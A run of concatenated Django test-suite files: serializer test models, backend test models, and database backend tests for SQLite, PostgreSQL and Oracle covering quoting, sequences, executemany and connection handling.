# class TextPKData(models.Model):
#     data = models.TextField(primary_key=True)

# class TimePKData(models.Model):
#    data = models.TimeField(primary_key=True)


class UUIDData(models.Model):
    data = models.UUIDField(primary_key=True)


class FKToUUID(models.Model):
    data = models.ForeignKey(UUIDData, models.CASCADE)


# Tests for handling fields with pre_save functions, or
# models with save functions that modify data


class AutoNowDateTimeData(models.Model):
    data = models.DateTimeField(null=True, auto_now=True)


class ModifyingSaveData(models.Model):
    data = models.IntegerField(null=True)

    def save(self, *args, **kwargs):
        """
        A save method that modifies the data in the object.
        Verifies that a user-defined save() method isn't called when objects
        are deserialized (#4459).
        """
        self.data = 666
        super(ModifyingSaveData, self).save(*args, **kwargs)

# Tests for serialization of models using inheritance.
# Regression for #7202, #7350


class AbstractBaseModel(models.Model):
    parent_data = models.IntegerField()

    class Meta:
        abstract = True


class InheritAbstractModel(AbstractBaseModel):
    child_data = models.IntegerField()


class InheritBaseModel(BaseModel):
    child_data = models.IntegerField()


class ExplicitInheritBaseModel(BaseModel):
    parent = models.OneToOneField(BaseModel, models.CASCADE, parent_link=True)
    child_data = models.IntegerField()


class LengthModel(models.Model):
    data = models.IntegerField()

    def __len__(self):
        return self.data






"""
Serialization

``django.core.serializers`` provides interfaces to converting Django
``QuerySet`` objects to and from "flat" data (i.e. strings).
"""
from __future__ import unicode_literals

from decimal import Decimal

from django.db import models
from django.utils import six
from django.utils.encoding import python_2_unicode_compatible


class CategoryMetaDataManager(models.Manager):

    def get_by_natural_key(self, kind, name):
        return self.get(kind=kind, name=name)


@python_2_unicode_compatible
class CategoryMetaData(models.Model):
    kind = models.CharField(max_length=10)
    name = models.CharField(max_length=10)
    value = models.CharField(max_length=10)
    objects = CategoryMetaDataManager()

    class Meta:
        unique_together = (('kind', 'name'),)

    def __str__(self):
        return '[%s:%s]=%s' % (self.kind, self.name, self.value)

    def natural_key(self):
        return (self.kind, self.name)


@python_2_unicode_compatible
class Category(models.Model):
    name = models.CharField(max_length=20)
    meta_data = models.ForeignKey(CategoryMetaData, models.SET_NULL, null=True, default=None)

    class Meta:
        ordering = ('name',)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Author(models.Model):
    name = models.CharField(max_length=20)

    class Meta:
        ordering = ('name',)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Article(models.Model):
    author = models.ForeignKey(Author, models.CASCADE)
    headline = models.CharField(max_length=50)
    pub_date = models.DateTimeField()
    categories = models.ManyToManyField(Category)
    meta_data = models.ManyToManyField(CategoryMetaData)

    class Meta:
        ordering = ('pub_date',)

    def __str__(self):
        return self.headline


@python_2_unicode_compatible
class AuthorProfile(models.Model):
    author = models.OneToOneField(Author, models.CASCADE, primary_key=True)
    date_of_birth = models.DateField()

    def __str__(self):
        return "Profile of %s" % self.author


@python_2_unicode_compatible
class Actor(models.Model):
    name = models.CharField(max_length=20, primary_key=True)

    class Meta:
        ordering = ('name',)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Movie(models.Model):
    actor = models.ForeignKey(Actor, models.CASCADE)
    title = models.CharField(max_length=50)
    price = models.DecimalField(max_digits=6, decimal_places=2, default=Decimal('0.00'))

    class Meta:
        ordering = ('title',)

    def __str__(self):
        return self.title


class Score(models.Model):
    score = models.FloatField()


@python_2_unicode_compatible
class Team(object):
    def __init__(self, title):
        self.title = title

    def __str__(self):
        raise NotImplementedError("Not so simple")

    def to_string(self):
        return "%s" % self.title


class TeamField(models.CharField):

    def __init__(self):
        super(TeamField, self).__init__(max_length=100)

    def get_db_prep_save(self, value, connection):
        return six.text_type(value.title)

    def to_python(self, value):
        if isinstance(value, Team):
            return value
        return Team(value)

    def from_db_value(self, value, expression, connection, context):
        return Team(value)

    def value_to_string(self, obj):
        return self.value_from_object(obj).to_string()

    def deconstruct(self):
        name, path, args, kwargs = super(TeamField, self).deconstruct()
        del kwargs['max_length']
        return name, path, args, kwargs


@python_2_unicode_compatible
class Player(models.Model):
    name = models.CharField(max_length=50)
    rank = models.IntegerField()
    team = TeamField()

    def __str__(self):
        return '%s (%d) playing for %s' % (self.name, self.rank, self.team.to_string())


class BaseModel(models.Model):
    parent_data = models.IntegerField()


class ProxyBaseModel(BaseModel):
    class Meta:
        proxy = True


class ProxyProxyBaseModel(ProxyBaseModel):
    class Meta:
        proxy = True


class ComplexModel(models.Model):
    field1 = models.CharField(max_length=10)
    field2 = models.CharField(max_length=10)
    field3 = models.CharField(max_length=10)






from .base import *  # NOQA
from .data import *  # NOQA
from .natural import *  # NOQA






from django.db import connection
from django.test import TestCase


class TestDatabaseFeatures(TestCase):

    def test_nonexistent_feature(self):
        self.assertFalse(hasattr(connection.features, 'nonexistent'))






from __future__ import unicode_literals

from django.contrib.contenttypes.fields import (
    GenericForeignKey, GenericRelation,
)
from django.contrib.contenttypes.models import ContentType
from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class Square(models.Model):
    root = models.IntegerField()
    square = models.PositiveIntegerField()

    def __str__(self):
        return "%s ** 2 == %s" % (self.root, self.square)


@python_2_unicode_compatible
class Person(models.Model):
    first_name = models.CharField(max_length=20)
    last_name = models.CharField(max_length=20)

    def __str__(self):
        return '%s %s' % (self.first_name, self.last_name)


class SchoolClass(models.Model):
    year = models.PositiveIntegerField()
    day = models.CharField(max_length=9, blank=True)
    last_updated = models.DateTimeField()


class VeryLongModelNameZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ(models.Model):
    primary_key_is_quite_long_zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = models.AutoField(primary_key=True)
    charfield_is_quite_long_zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = models.CharField(max_length=100)
    m2m_also_quite_long_zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = models.ManyToManyField(Person, blank=True)


class Tag(models.Model):
    name = models.CharField(max_length=30)
    content_type = models.ForeignKey(ContentType, models.CASCADE, related_name='backend_tags')
    object_id = models.PositiveIntegerField()
    content_object = GenericForeignKey('content_type', 'object_id')


class Post(models.Model):
    name = models.CharField(max_length=30)
    text = models.TextField()
    tags = GenericRelation('Tag')

    class Meta:
        db_table = 'CaseSensitive_Post'


@python_2_unicode_compatible
class Reporter(models.Model):
    first_name = models.CharField(max_length=30)
    last_name = models.CharField(max_length=30)

    def __str__(self):
        return "%s %s" % (self.first_name, self.last_name)


class ReporterProxy(Reporter):
    class Meta:
        proxy = True


@python_2_unicode_compatible
class Article(models.Model):
    headline = models.CharField(max_length=100)
    pub_date = models.DateField()
    reporter = models.ForeignKey(Reporter, models.CASCADE)
    reporter_proxy = models.ForeignKey(
        ReporterProxy,
        models.SET_NULL,
        null=True,
        related_name='reporter_proxy',
    )

    def __str__(self):
        return self.headline


@python_2_unicode_compatible
class Item(models.Model):
    name = models.CharField(max_length=30)
    date = models.DateField()
    time = models.TimeField()
    last_modified = models.DateTimeField()

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Object(models.Model):
    related_objects = models.ManyToManyField("self", db_constraint=False, symmetrical=False)

    def __str__(self):
        return str(self.id)


@python_2_unicode_compatible
class ObjectReference(models.Model):
    obj = models.ForeignKey(Object, models.CASCADE, db_constraint=False)

    def __str__(self):
        return str(self.obj_id)


class RawData(models.Model):
    raw_data = models.BinaryField()






import copy
import unittest
from contextlib import contextmanager

from django.db import DEFAULT_DB_ALIAS, connection, connections
from django.db.backends.base.creation import (
    TEST_DATABASE_PREFIX, BaseDatabaseCreation,
)
from django.db.backends.postgresql.creation import DatabaseCreation
from django.test import SimpleTestCase


class TestDbSignatureTests(SimpleTestCase):

    def get_connection_copy(self):
        # Get a copy of the default connection. (Can't use django.db.connection
        # because it'll modify the default connection itself.)
        test_connection = copy.copy(connections[DEFAULT_DB_ALIAS])
        test_connection.settings_dict = copy.copy(connections[DEFAULT_DB_ALIAS].settings_dict)
        return test_connection

    def test_default_name(self):
        # A test db name isn't set.
        prod_name = 'hodor'
        test_connection = self.get_connection_copy()
        test_connection.settings_dict['NAME'] = prod_name
        test_connection.settings_dict['TEST'] = {'NAME': None}
        signature = BaseDatabaseCreation(test_connection).test_db_signature()
        self.assertEqual(signature[3], TEST_DATABASE_PREFIX + prod_name)

    def test_custom_test_name(self):
        # A regular test db name is set.
        test_name = 'hodor'
        test_connection = self.get_connection_copy()
        test_connection.settings_dict['TEST'] = {'NAME': test_name}
        signature = BaseDatabaseCreation(test_connection).test_db_signature()
        self.assertEqual(signature[3], test_name)

    def test_custom_test_name_with_test_prefix(self):
        # A test db name prefixed with TEST_DATABASE_PREFIX is set.
        test_name = TEST_DATABASE_PREFIX + 'hodor'
        test_connection = self.get_connection_copy()
        test_connection.settings_dict['TEST'] = {'NAME': test_name}
        signature = BaseDatabaseCreation(test_connection).test_db_signature()
        self.assertEqual(signature[3], test_name)


@unittest.skipUnless(connection.vendor == 'postgresql', "PostgreSQL-specific tests")
class PostgreSQLDatabaseCreationTests(SimpleTestCase):

    @contextmanager
    def changed_test_settings(self, **kwargs):
        settings = connection.settings_dict['TEST']
        saved_values = {}
        for name in kwargs:
            if name in settings:
                saved_values[name] = settings[name]

        for name, value in kwargs.items():
            settings[name] = value
        try:
            yield
        finally:
            for name, value in kwargs.items():
                if name in saved_values:
                    settings[name] = saved_values[name]
                else:
                    del settings[name]

    def check_sql_table_creation_suffix(self, settings, expected):
        with self.changed_test_settings(**settings):
            creation = DatabaseCreation(connection)
            suffix = creation.sql_table_creation_suffix()
            self.assertEqual(suffix, expected)

    def test_sql_table_creation_suffix_with_none_settings(self):
        settings = dict(CHARSET=None, TEMPLATE=None)
        self.check_sql_table_creation_suffix(settings, "")

    def test_sql_table_creation_suffix_with_encoding(self):
        settings = dict(CHARSET='UTF8')
        self.check_sql_table_creation_suffix(settings, "WITH ENCODING 'UTF8'")

    def test_sql_table_creation_suffix_with_template(self):
        settings = dict(TEMPLATE='template0')
        self.check_sql_table_creation_suffix(settings, 'WITH TEMPLATE "template0"')

    def test_sql_table_creation_suffix_with_encoding_and_template(self):
        settings = dict(CHARSET='UTF8', TEMPLATE='template0')
        self.check_sql_table_creation_suffix(settings, '''WITH ENCODING 'UTF8' TEMPLATE "template0"''')






from django.core.exceptions import ImproperlyConfigured
from django.db.utils import load_backend
from django.test import SimpleTestCase
from django.utils import six


class TestLoadBackend(SimpleTestCase):
    def test_load_backend_invalid_name(self):
        msg = (
            "'foo' isn't an available database backend.\n"
            "Try using 'django.db.backends.XXX', where XXX is one of:\n"
            "    'mysql', 'oracle', 'postgresql', 'sqlite3'\n"
            "Error was: No module named %s"
        ) % "foo.base" if six.PY2 else "'foo'"
        with self.assertRaisesMessage(ImproperlyConfigured, msg):
            load_backend('foo')












# -*- coding: utf-8 -*-
# Unit and doctests for specific database backends.
from __future__ import unicode_literals

import datetime
import re
import threading
import unittest
import warnings
from decimal import Decimal, Rounded

from django.core.exceptions import ImproperlyConfigured
from django.core.management.color import no_style
from django.db import (
    DEFAULT_DB_ALIAS, DatabaseError, IntegrityError, connection, connections,
    reset_queries, transaction,
)
from django.db.backends.base.base import BaseDatabaseWrapper
from django.db.backends.postgresql import version as pg_version
from django.db.backends.signals import connection_created
from django.db.backends.utils import CursorWrapper, format_number
from django.db.models import Avg, StdDev, Sum, Variance
from django.db.models.sql.constants import CURSOR
from django.db.utils import ConnectionHandler
from django.test import (
    SimpleTestCase, TestCase, TransactionTestCase, mock, override_settings,
    skipIfDBFeature, skipUnlessDBFeature,
)
from django.utils import six
from django.utils.six.moves import range

from . import models


class DummyBackendTest(SimpleTestCase):

    def test_no_databases(self):
        """
        Test that empty DATABASES setting default to the dummy backend.
        """
        DATABASES = {}
        conns = ConnectionHandler(DATABASES)
        self.assertEqual(conns[DEFAULT_DB_ALIAS].settings_dict['ENGINE'], 'django.db.backends.dummy')
        with self.assertRaises(ImproperlyConfigured):
            conns[DEFAULT_DB_ALIAS].ensure_connection()


@unittest.skipUnless(connection.vendor == 'oracle', "Test only for Oracle")
class OracleTests(unittest.TestCase):

    def test_quote_name(self):
        # Check that '%' chars are escaped for query execution.
        name = '"SOME%NAME"'
        quoted_name = connection.ops.quote_name(name)
        self.assertEqual(quoted_name % (), name)

    def test_dbms_session(self):
        # If the backend is Oracle, test that we can call a standard
        # stored procedure through our cursor wrapper.
        from django.db.backends.oracle.base import convert_unicode

        with connection.cursor() as cursor:
            cursor.callproc(convert_unicode('DBMS_SESSION.SET_IDENTIFIER'),
                            [convert_unicode('_django_testing!')])

    def test_cursor_var(self):
        # If the backend is Oracle, test that we can pass cursor variables
        # as query parameters.
        from django.db.backends.oracle.base import Database

        with connection.cursor() as cursor:
            var = cursor.var(Database.STRING)
            cursor.execute("BEGIN %s := 'X'; END; ", [var])
            self.assertEqual(var.getvalue(), 'X')

    def test_long_string(self):
        # If the backend is Oracle, test that we can save a text longer
        # than 4000 chars and read it properly
        with connection.cursor() as cursor:
            cursor.execute('CREATE TABLE ltext ("TEXT" NCLOB)')
            long_str = ''.join(six.text_type(x) for x in range(4000))
            cursor.execute('INSERT INTO ltext VALUES (%s)', [long_str])
            cursor.execute('SELECT text FROM ltext')
            row = cursor.fetchone()
            self.assertEqual(long_str, row[0].read())
            cursor.execute('DROP TABLE ltext')

    def test_client_encoding(self):
        # If the backend is Oracle, test that the client encoding is set
        # correctly.  This was broken under Cygwin prior to r14781.
        connection.ensure_connection()
        self.assertEqual(connection.connection.encoding, "UTF-8")
        self.assertEqual(connection.connection.nencoding, "UTF-8")

    def test_order_of_nls_parameters(self):
        # an 'almost right' datetime should work with configured
        # NLS parameters as per #18465.
        with connection.cursor() as cursor:
            query = "select 1 from dual where '1936-12-29 00:00' < sysdate"
            # Test that the query succeeds without errors - pre #18465 this
            # wasn't the case.
            cursor.execute(query)
            self.assertEqual(cursor.fetchone()[0], 1)


@unittest.skipUnless(connection.vendor == 'sqlite', "Test only for SQLite")
class SQLiteTests(TestCase):

    longMessage = True

    def test_autoincrement(self):
        """
        Check that auto_increment fields are created with the AUTOINCREMENT
        keyword in order to be monotonically increasing. Refs #10164.
        """
        with connection.schema_editor(collect_sql=True) as editor:
            editor.create_model(models.Square)
            statements = editor.collected_sql
        match = re.search('"id" ([^,]+),', statements[0])
        self.assertIsNotNone(match)
        self.assertEqual(
            'integer NOT NULL PRIMARY KEY AUTOINCREMENT',
            match.group(1),
            "Wrong SQL used to create an auto-increment column on SQLite"
        )

    def test_aggregation(self):
        """
        #19360: Raise NotImplementedError when aggregating on date/time fields.
        """
        for aggregate in (Sum, Avg, Variance, StdDev):
            with self.assertRaises(NotImplementedError):
                models.Item.objects.all().aggregate(aggregate('time'))
            with self.assertRaises(NotImplementedError):
                models.Item.objects.all().aggregate(aggregate('date'))
            with self.assertRaises(NotImplementedError):
                models.Item.objects.all().aggregate(aggregate('last_modified'))
            with self.assertRaises(NotImplementedError):
                models.Item.objects.all().aggregate(
                    **{'complex': aggregate('last_modified') + aggregate('last_modified')}
                )

    def test_memory_db_test_name(self):
        """
        A named in-memory db should be allowed where supported.
        """
        from django.db.backends.sqlite3.base import DatabaseWrapper
        settings_dict = {
            'TEST': {
                'NAME': 'file:memorydb_test?mode=memory&cache=shared',
            }
        }
        wrapper = DatabaseWrapper(settings_dict)
        creation = wrapper.creation
        if creation.connection.features.can_share_in_memory_db:
            expected = creation.connection.settings_dict['TEST']['NAME']
            self.assertEqual(creation._get_test_db_name(), expected)
        else:
            msg = (
                "Using a shared memory database with `mode=memory` in the "
                "database name is not supported in your environment, "
                "use `:memory:` instead."
            )
            with self.assertRaisesMessage(ImproperlyConfigured, msg):
                creation._get_test_db_name()


@unittest.skipUnless(connection.vendor == 'postgresql', "Test only for PostgreSQL")
class PostgreSQLTests(TestCase):

    def assert_parses(self, version_string, version):
        self.assertEqual(pg_version._parse_version(version_string), version)

    def test_parsing(self):
        """Test PostgreSQL version parsing from `SELECT version()` output"""
        self.assert_parses("PostgreSQL 9.3 beta4", 90300)
        self.assert_parses("PostgreSQL 9.3", 90300)
        self.assert_parses("EnterpriseDB 9.3", 90300)
        self.assert_parses("PostgreSQL 9.3.6", 90306)
        self.assert_parses("PostgreSQL 9.4beta1", 90400)
        self.assert_parses(
            "PostgreSQL 9.3.1 on i386-apple-darwin9.2.2, compiled by GCC "
            "i686-apple-darwin9-gcc-4.0.1 (GCC) 4.0.1 (Apple Inc. build 5478)",
            90301
        )

    def test_nodb_connection(self):
        """
        Test that the _nodb_connection property fallbacks to the default connection
        database when access to the 'postgres' database is not granted.
        """
        def mocked_connect(self):
            if self.settings_dict['NAME'] is None:
                raise DatabaseError()
            return ''

        nodb_conn = connection._nodb_connection
        self.assertIsNone(nodb_conn.settings_dict['NAME'])

        # Now assume the 'postgres' db isn't available
        with warnings.catch_warnings(record=True) as w:
            with mock.patch('django.db.backends.base.base.BaseDatabaseWrapper.connect',
                            side_effect=mocked_connect, autospec=True):
                warnings.simplefilter('always', RuntimeWarning)
                nodb_conn = connection._nodb_connection
        self.assertIsNotNone(nodb_conn.settings_dict['NAME'])
        self.assertEqual(nodb_conn.settings_dict['NAME'], connection.settings_dict['NAME'])
        # Check a RuntimeWarning has been emitted
        self.assertEqual(len(w), 1)
        self.assertEqual(w[0].message.__class__, RuntimeWarning)

    def test_version_detection(self):
        """Test PostgreSQL version detection"""

        # Helper mocks
        class CursorMock(object):
            "Very simple mock of DB-API cursor"
            def execute(self, arg):
                pass

            def fetchone(self):
                return ["PostgreSQL 9.3"]

            def __enter__(self):
                return self

            def __exit__(self, type, value, traceback):
                pass

        class OlderConnectionMock(object):
            "Mock of psycopg2 (< 2.0.12) connection"
            def cursor(self):
                return CursorMock()

        # psycopg2 < 2.0.12 code path
        conn = OlderConnectionMock()
        self.assertEqual(pg_version.get_version(conn), 90300)

    def test_connect_and_rollback(self):
        """
        PostgreSQL shouldn't roll back SET TIME ZONE, even if the first
        transaction is rolled back (#17062).
        """
        new_connection = connection.copy()

        try:
            # Ensure the database default time zone is different than
            # the time zone in new_connection.settings_dict. We can
            # get the default time zone by reset & show.
            cursor = new_connection.cursor()
            cursor.execute("RESET TIMEZONE")
            cursor.execute("SHOW TIMEZONE")
            db_default_tz = cursor.fetchone()[0]
            new_tz = 'Europe/Paris' if db_default_tz == 'UTC' else 'UTC'
            new_connection.close()

            # Invalidate timezone name cache, because the setting_changed
            # handler cannot know about new_connection.
            del new_connection.timezone_name

            # Fetch a new connection with the new_tz as default
            # time zone, run a query and rollback.
            with self.settings(TIME_ZONE=new_tz):
                new_connection.set_autocommit(False)
                cursor = new_connection.cursor()
                new_connection.rollback()

                # Now let's see if the rollback rolled back the SET TIME ZONE.
                cursor.execute("SHOW TIMEZONE")
                tz = cursor.fetchone()[0]
                self.assertEqual(new_tz, tz)

        finally:
            new_connection.close()

    def test_connect_non_autocommit(self):
        """
        The connection wrapper shouldn't believe that autocommit is enabled
        after setting the time zone when AUTOCOMMIT is False (#21452).
        """
        new_connection = connection.copy()
        new_connection.settings_dict['AUTOCOMMIT'] = False

        try:
            # Open a database connection.
            new_connection.cursor()
            self.assertFalse(new_connection.get_autocommit())
        finally:
            new_connection.close()

    def test_connect_isolation_level(self):
        """
        Regression test for #18130 and #24318.
        """
        from psycopg2.extensions import (
            ISOLATION_LEVEL_READ_COMMITTED as read_committed,
            ISOLATION_LEVEL_SERIALIZABLE as serializable,
        )

        # Since this is a django.test.TestCase, a transaction is in progress
        # and the isolation level isn't reported as 0. This test assumes that
        # PostgreSQL is configured with the default isolation level.

        # Check the level on the psycopg2 connection, not the Django wrapper.
        self.assertEqual(connection.connection.isolation_level, read_committed)

        new_connection = connection.copy()
        new_connection.settings_dict['OPTIONS']['isolation_level'] = serializable
        try:
            # Start a transaction so the isolation level isn't reported as 0.
            new_connection.set_autocommit(False)
            # Check the level on the psycopg2 connection, not the Django wrapper.
            self.assertEqual(new_connection.connection.isolation_level, serializable)
        finally:
            new_connection.close()

    def _select(self, val):
        with connection.cursor() as cursor:
            cursor.execute("SELECT %s", (val,))
            return cursor.fetchone()[0]

    def test_select_ascii_array(self):
        a = ["awef"]
        b = self._select(a)
        self.assertEqual(a[0], b[0])

    def test_select_unicode_array(self):
        a = ["ᄲawef"]
        b = self._select(a)
        self.assertEqual(a[0], b[0])

    def test_lookup_cast(self):
        from django.db.backends.postgresql.operations import DatabaseOperations

        do = DatabaseOperations(connection=None)
        for lookup in ('iexact', 'contains', 'icontains', 'startswith',
                       'istartswith', 'endswith', 'iendswith', 'regex', 'iregex'):
            self.assertIn('::text', do.lookup_cast(lookup))

    def test_correct_extraction_psycopg2_version(self):
        from django.db.backends.postgresql.base import psycopg2_version
        version_path = 'django.db.backends.postgresql.base.Database.__version__'

        with mock.patch(version_path, '2.6.9'):
            self.assertEqual(psycopg2_version(), (2, 6, 9))

        with mock.patch(version_path, '2.5.dev0'):
            self.assertEqual(psycopg2_version(), (2, 5))


class DateQuotingTest(TestCase):

    def test_django_date_trunc(self):
        """
        Test the custom ``django_date_trunc method``, in particular against
        fields which clash with strings passed to it (e.g. 'year') - see
        #12818__.

        __: http://code.djangoproject.com/ticket/12818
        """
        updated = datetime.datetime(2010, 2, 20)
        models.SchoolClass.objects.create(year=2009, last_updated=updated)
        years = models.SchoolClass.objects.dates('last_updated', 'year')
        self.assertEqual(list(years), [datetime.date(2010, 1, 1)])

    def test_django_date_extract(self):
        """
        Test the custom ``django_date_extract method``, in particular against fields
        which clash with strings passed to it (e.g. 'day') - see #12818__.

        __: http://code.djangoproject.com/ticket/12818
        """
        updated = datetime.datetime(2010, 2, 20)
        models.SchoolClass.objects.create(year=2009, last_updated=updated)
        classes = models.SchoolClass.objects.filter(last_updated__day=20)
        self.assertEqual(len(classes), 1)


@override_settings(DEBUG=True)
class LastExecutedQueryTest(TestCase):

    def test_last_executed_query(self):
        """
        last_executed_query should not raise an exception even if no previous
        query has been run.
        """
        cursor = connection.cursor()
        connection.ops.last_executed_query(cursor, '', ())

    def test_debug_sql(self):
        list(models.Reporter.objects.filter(first_name="test"))
        sql = connection.queries[-1]['sql'].lower()
        self.assertIn("select", sql)
        self.assertIn(models.Reporter._meta.db_table, sql)

    def test_query_encoding(self):
        """
        Test that last_executed_query() returns an Unicode string
        """
        data = models.RawData.objects.filter(raw_data=b'\x00\x46  \xFE').extra(select={'föö': 1})
        sql, params = data.query.sql_with_params()
        cursor = data.query.get_compiler('default').execute_sql(CURSOR)
        last_sql = cursor.db.ops.last_executed_query(cursor, sql, params)
        self.assertIsInstance(last_sql, six.text_type)

    @unittest.skipUnless(connection.vendor == 'sqlite',
                         "This test is specific to SQLite.")
    def test_no_interpolation_on_sqlite(self):
        # Regression for #17158
        # This shouldn't raise an exception
        query = "SELECT strftime('%Y', 'now');"
        connection.cursor().execute(query)
        self.assertEqual(connection.queries[-1]['sql'], query)

    @unittest.skipUnless(connection.vendor == 'sqlite',
                         "This test is specific to SQLite.")
    def test_parameter_quoting_on_sqlite(self):
        # The implementation of last_executed_queries isn't optimal. It's
        # worth testing that parameters are quoted. See #14091.
        query = "SELECT %s"
        params = ["\"'\\"]
        connection.cursor().execute(query, params)
        # Note that the single quote is repeated
        substituted = "SELECT '\"''\\'"
        self.assertEqual(connection.queries[-1]['sql'], substituted)

    @unittest.skipUnless(connection.vendor == 'sqlite',
                         "This test is specific to SQLite.")
    def test_large_number_of_parameters_on_sqlite(self):
        # If SQLITE_MAX_VARIABLE_NUMBER (default = 999) has been changed to be
        # greater than SQLITE_MAX_COLUMN (default = 2000), last_executed_query
        # can hit the SQLITE_MAX_COLUMN limit. See #26063.
        cursor = connection.cursor()
        sql = "SELECT MAX(%s)" % ", ".join(["%s"] * 2001)
        params = list(range(2001))
        # This should not raise an exception.
        cursor.db.ops.last_executed_query(cursor.cursor, sql, params)


class ParameterHandlingTest(TestCase):

    def test_bad_parameter_count(self):
        "An executemany call with too many/not enough parameters will raise an exception (Refs #12612)"
        cursor = connection.cursor()
        query = ('INSERT INTO %s (%s, %s) VALUES (%%s, %%s)' % (
            connection.introspection.table_name_converter('backends_square'),
            connection.ops.quote_name('root'),
            connection.ops.quote_name('square')
        ))
        with self.assertRaises(Exception):
            cursor.executemany(query, [(1, 2, 3)])
        with self.assertRaises(Exception):
            cursor.executemany(query, [(1,)])


class LongNameTest(TransactionTestCase):
    """Long primary keys and model names can result in a sequence name
    that exceeds the database limits, which will result in truncation
    on certain databases (e.g., Postgres). The backend needs to use
    the correct sequence name in last_insert_id and other places, so
    check it is. Refs #8901.
    """
    available_apps = ['backends']

    def test_sequence_name_length_limits_create(self):
        """Test creation of model with long name and long pk name doesn't error. Ref #8901"""
        models.VeryLongModelNameZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ.objects.create()

    def test_sequence_name_length_limits_m2m(self):
        """
        An m2m save of a model with a long name and a long m2m field name
        doesn't error (#8901).
        """
        obj = models.VeryLongModelNameZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ.objects.create()
        rel_obj = models.Person.objects.create(first_name='Django', last_name='Reinhardt')
        obj.m2m_also_quite_long_zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz.add(rel_obj)

    def test_sequence_name_length_limits_flush(self):
        """
        Sequence resetting as part of a flush with model with long name and
        long pk name doesn't error (#8901).
        """
        # A full flush is expensive to the full test, so we dig into the
        # internals to generate the likely offending SQL and run it manually

        # Some convenience aliases
        VLM = models.VeryLongModelNameZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ
        VLM_m2m = VLM.m2m_also_quite_long_zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz.through
        tables = [
            VLM._meta.db_table,
            VLM_m2m._meta.db_table,
        ]
        sequences = [
            {
                'column': VLM._meta.pk.column,
                'table': VLM._meta.db_table
            },
        ]
        cursor = connection.cursor()
        for statement in connection.ops.sql_flush(no_style(), tables, sequences):
            cursor.execute(statement)


class SequenceResetTest(TestCase):

    def test_generic_relation(self):
        "Sequence names are correct when resetting generic relations (Ref #13941)"
        # Create an object with a manually specified PK
        models.Post.objects.create(id=10, name='1st post', text='hello world')

        # Reset the sequences for the database
        cursor = connection.cursor()
        commands = connections[DEFAULT_DB_ALIAS].ops.sequence_reset_sql(no_style(), [models.Post])
        for sql in commands:
            cursor.execute(sql)

        # If we create a new object now, it should have a PK greater
        # than the PK we specified manually.
        obj = models.Post.objects.create(name='New post', text='goodbye world')
        self.assertGreater(obj.pk, 10)


# This test needs to run outside of a transaction, otherwise closing the
# connection would implicitly rollback and cause problems during teardown.
class ConnectionCreatedSignalTest(TransactionTestCase):

    available_apps = []

    # Unfortunately with sqlite3 the in-memory test database cannot be closed,
    # and so it cannot be re-opened during testing.
    @skipUnlessDBFeature('test_db_allows_multiple_connections')
    def test_signal(self):
        data = {}

        def receiver(sender, connection, **kwargs):
            data["connection"] = connection

        connection_created.connect(receiver)
        connection.close()
        connection.cursor()
        self.assertIs(data["connection"].connection, connection.connection)

        connection_created.disconnect(receiver)
        data.clear()
        connection.cursor()
        self.assertEqual(data, {})


class EscapingChecks(TestCase):
    """
    All tests in this test case are also run with settings.DEBUG=True in
    EscapingChecksDebug test case, to also test CursorDebugWrapper.
    """

    bare_select_suffix = connection.features.bare_select_suffix

    def test_paramless_no_escaping(self):
        cursor = connection.cursor()
        cursor.execute("SELECT '%s'" + self.bare_select_suffix)
        self.assertEqual(cursor.fetchall()[0][0], '%s')

    def test_parameter_escaping(self):
        cursor = connection.cursor()
        cursor.execute("SELECT '%%', %s" + self.bare_select_suffix, ('%d',))
        self.assertEqual(cursor.fetchall()[0], ('%', '%d'))

    @unittest.skipUnless(connection.vendor == 'sqlite',
                         "This is an sqlite-specific issue")
    def test_sqlite_parameter_escaping(self):
        # '%s' escaping support for sqlite3 #13648
        cursor = connection.cursor()
        cursor.execute("select strftime('%s', date('now'))")
        response = cursor.fetchall()[0][0]
        # response should be an non-zero integer
        self.assertTrue(int(response))


@override_settings(DEBUG=True)
class EscapingChecksDebug(EscapingChecks):
    pass


class BackendTestCase(TransactionTestCase):

    available_apps = ['backends']

    def create_squares_with_executemany(self, args):
        self.create_squares(args, 'format', True)

    def create_squares(self, args, paramstyle, multiple):
        cursor = connection.cursor()
        opts = models.Square._meta
        tbl = connection.introspection.table_name_converter(opts.db_table)
        f1 = connection.ops.quote_name(opts.get_field('root').column)
        f2 = connection.ops.quote_name(opts.get_field('square').column)
        if paramstyle == 'format':
            query = 'INSERT INTO %s (%s, %s) VALUES (%%s, %%s)' % (tbl, f1, f2)
        elif paramstyle == 'pyformat':
            query = 'INSERT INTO %s (%s, %s) VALUES (%%(root)s, %%(square)s)' % (tbl, f1, f2)
        else:
            raise ValueError("unsupported paramstyle in test")
        if multiple:
            cursor.executemany(query, args)
        else:
            cursor.execute(query, args)

    def test_cursor_executemany(self):
        # Test cursor.executemany #4896
        args = [(i, i ** 2) for i in range(-5, 6)]
        self.create_squares_with_executemany(args)
        self.assertEqual(models.Square.objects.count(), 11)
        for i in range(-5, 6):
            square = models.Square.objects.get(root=i)
            self.assertEqual(square.square, i ** 2)

    def test_cursor_executemany_with_empty_params_list(self):
        # Test executemany with params=[] does nothing #4765
        args = []
        self.create_squares_with_executemany(args)
        self.assertEqual(models.Square.objects.count(), 0)

    def test_cursor_executemany_with_iterator(self):
        # Test executemany accepts iterators #10320
        args = iter((i, i ** 2) for i in range(-3, 2))
        self.create_squares_with_executemany(args)
        self.assertEqual(models.Square.objects.count(), 5)

        args = iter((i, i ** 2) for i in range(3, 7))
        with override_settings(DEBUG=True):
            # same test for DebugCursorWrapper
            self.create_squares_with_executemany(args)
